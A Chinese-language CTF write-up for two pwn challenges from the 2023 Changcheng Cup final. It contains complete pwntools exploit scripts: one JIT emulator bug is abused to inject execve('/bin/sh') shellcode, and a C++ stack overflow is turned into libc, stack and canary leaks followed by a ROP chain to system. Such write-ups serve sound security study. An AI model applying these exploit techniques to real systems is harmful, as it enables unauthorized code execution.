2023-长城杯(铁人三项)决赛-pwn-wp

发布时间 2023-04-28 18:13:55作者: xshhc

这是昨天的长城杯线下决赛题目,找其它参加的师傅要了 pwn 方向的题目来做,一共有两道题,题目质量很不错,都是对逆向动态调试有一定要求才能做出的类型, 我想这也是之后国内CTF比赛 pwn 方向赛题的转变趋势吧。

就是很遗憾没能参加,,,,不然靠做 pwn 应该都能保底拿奖了

fast_emulator

这是一道 jit 题目,属于 vm pwn,需要把指令会转换为什么样的执行体给逆向明白才能做

 主要利用到的是 load 指令,其中,如 load r1 0xaaaaaaaaaaaaaaaa ,当 0xaaaaaaaaaaaaaaaa 过长时候,被转为汇编指令的形式 mov rax, 0xaaaaaaaaaaaaaaaa 时候,由于过长,那么部分溢出的 a 就会进入执行体,作为汇编指令执行,这就是这道题的漏洞

p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')


gdb.attach(p, 'b *$rebase(0x1a1d)')
#gdb.attach(p, 'b *$rebase(0x1a16)')

sla(b'enter: ', b'1')
sla(b'> ', b'load r2 0x' + b'a'*0x10)

pause()

用如上代码调试即可得到如下图所示,部分 a 溢出了

 其中,由于溢出数据有限,所以我们写入的 shellcode 需要分段写。我选择的是利用 execve('/bin/sh', 0, 0) 进行系统调用来 get shell

并且会出现写入的 shellcode 因为没有对齐而导致转换成对应的汇编代码错误执行失败的情况,所以我们需要多写几个指令进去

完整 exp

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')


gdb.attach(p, 'b *$rebase(0x1a1d)')

sla(b'enter: ', b'7')
sla(b'> ', b'load r2 0x' + b'6a3b'*0x10 + b'00000000') # push 0x3b;
sla(b'> ', b'load r2 0x' + b'58'*0x8 + b'00000000') #pop rax;
sla(b'> ', b'load r2 0x' + b'6a00'*0x10 + b'00000000') #push 0;
sla(b'> ', b'load r2 0x' + b'5a5e'*0x8 + b'00000000') #pop rsi; pop rdx;
sla(b'> ', b'load r2 0x' + b'5f55'*0x10 + b'00000000') # push rbp; pop rdi;
sla(b'> ', b'load r2 0x' + b'0f05'*0x8 + b'00000000') # syscall
sla(b'> ', b'/bin/sh\x00' + b'00000000')

inter()

如下图

 

driverlicense

一道 C ++ 栈题,主要考点是 C++ 中 cin、cout 对字符串的处理

程序会要求输入 name  , age , comment

 然后就是修改 comment ,输出信息这两个功能。

由于 C++ 代码过于复杂且漏洞不明显表现在代码上就不上图了

漏洞:

如果我们在程序一开始输入的 comment 的字节数小于 8 ,那么就会将输入的字符串存储在栈上,否则存储在堆块上。当存储在栈上的时候。

from pwm import *
context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/libc-2.23.so') def update(data): sla(b'>> ', b'1') sla(b'>> ', data) def show(): sla(b'>> ', b'2') sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6) gdb.attach(p, 'b *0x401188') update(b'a'*0x10) pause()

 可以发现我们可以往栈上写很多个字节,实现栈溢出。

不够开启了  canary,我们需要先泄露 canary

当执行 cout 函数的时候,我们可以发现,如果我们之前便溢出了,那么会是这样的

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/libc-2.23.so')

def update(data):
    sla(b'>> ', b'1')
    sla(b'>> ', data)
def show():
    sla(b'>> ', b'2')

sla(b'>> ', b'a'*0x20)
sla(b'>> ', b'1233')
sla(b'>> ', b'a'*6)

gdb.attach(p, 'b *0x4011af')

update(b'a'*0x10 + b'b'*8)
show()

pause()

 从图可以看到 rsi 的值是我们可以控制的,在 IDA 中,执行的是 show 功能函数要输出 name

 也就是说,我们可以通过控制 rsi 的链子来输出内存信息,比如 libc_base 、stack 、canary、heap_addr

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/libc-2.23.so')

def update(data):
    sla(b'>> ', b'1')
    sla(b'>> ', data)
def show():
    sla(b'>> ', b'2')

sla(b'>> ', b'a'*0x20)
sla(b'>> ', b'1233')
sla(b'>> ', b'a'*6)

# leak libc_base
update(b'a'*0x10 + p64(elf.got['read']))
show()
libc_base = get_addr() - libc.sym['read']

# leak stack
environ = libc_base + libc.sym['__environ']
update(b'a'*0x10 + p64(environ))
show()
stack = get_addr()

# leak canary
update(b'a'*0x10 + p64(stack - 0x110))
show()
rl(b'Your name : ')
canary = u64(p.recv(8))

# leak heap_addr
#gdb.attach(p, 'b *0x401190')
update(b'a'*0x10 + p64(stack - 0x1b8))
show()
rl(b'Your name : ')
heap_addr = u32(p.recv(4))

print(' heap_addr -> ', hex(heap_addr))
print(' canary -> ', hex(canary))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))

这里要注意的是,输出的 name 的字节数是受我们一开始在程序中输入的 name 的字节数所决定的,所以我们这里要输大一些,不够这样又会有一个问题,程序在要结束时候调用 0x40165a 函数对之前存放数据的堆块进行释放,但是由于我们还需要利用栈溢出,所以栈上存放的堆块的指针也会被我们修改,所以我们需要通过泄露堆地址,然后还原回来

 如图所示,如果直接栈溢出那么栈上的堆块指针就被我们修改了

 之后,就是一步步调试,然后输入 0 退出循环,触发栈溢出,这里的 canary 和 堆块指针 和 溢出点的位置只需要调试就可以知道了,就不多说了

完整 exp

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/libc-2.23.so')

def update(data):
    sla(b'>> ', b'1')
    sla(b'>> ', data)
def show():
    sla(b'>> ', b'2')

sla(b'>> ', b'a'*0x20)
sla(b'>> ', b'1233')
sla(b'>> ', b'a'*6)

# leak libc_base
update(b'a'*0x10 + p64(elf.got['read']))
show()
libc_base = get_addr() - libc.sym['read']

# leak stack
environ = libc_base + libc.sym['__environ']
update(b'a'*0x10 + p64(environ))
show()
stack = get_addr()

# leak canary
update(b'a'*0x10 + p64(stack - 0x110))
show()
rl(b'Your name : ')
canary = u64(p.recv(8))

# leak heap_addr
#gdb.attach(p, 'b *0x401190')
update(b'a'*0x10 + p64(stack - 0x1b8))
show()
rl(b'Your name : ')
heap_addr = u32(p.recv(4))

# pwn
rdi = 0x401713
ret = 0x400df1
system, binsh = get_sb()

#gdb.attach(p, 'b *0x40148f')
update(p64(canary)*2 + p64(heap_addr + 0x50) + b'a'*0x20 + p64(canary) + b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
sla(b'>> ', b'0')

print(' heap_addr -> ', hex(heap_addr))
print(' canary -> ', hex(canary))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))
inter()